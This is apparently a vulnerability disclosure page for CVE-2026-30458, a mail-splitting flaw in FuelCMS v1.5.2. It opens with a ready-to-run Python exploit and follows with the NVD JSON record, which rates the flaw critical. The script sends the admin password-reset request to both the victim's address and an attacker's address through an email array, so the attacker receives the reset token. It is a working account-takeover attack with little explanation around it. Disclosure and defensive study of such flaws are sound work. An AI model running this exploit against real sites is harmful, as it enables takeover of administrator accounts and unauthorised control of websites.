CVE-2026-30458

import requests target_url = "http://target-fuelcms.com/fuel/users/forgot_password" # Payload exploiting mail splitting/email array data = { "user_name": "admin", "email[]": ["[email protected]", "[email protected]"] } try: response = requests.post(target_url, data=data) if response.status_code == 200: print("[+] Password reset request sent. Check attacker's email for token.") else: print("[-] Exploit failed.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-30458", "sourceIdentifier": "[email protected]", "published": "2026-03-26T19:17:00.050", "lastModified": "2026-03-30T14:11:49.907", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Daylight Studio FuelCMS v1.5.2 allows attackers to exfiltrate users' password reset tokens via a mail splitting attack."}, {"lang": "es", "value": "Un problema en Daylight Studio FuelCMS v1.5.2 permite a los atacantes exfiltrar tokens de restablecimiento de contraseña de los usuarios mediante un ataque de división de correo."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-620"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thedaylightstudio:fuel_cms:1.5.2:*:*:*:*:*:*:*", "matchCriteriaId": "E3A44312-83D2-4421-9A35-3FD048EA578A"}]}]}], "references": [{"url": "http://daylight.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "http://fuelcms.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/daylightstudio/FUEL-CMS", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://pentest-tools.com/PTT-2025-025-Account-Takeover-via-Email-Array.pdf", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}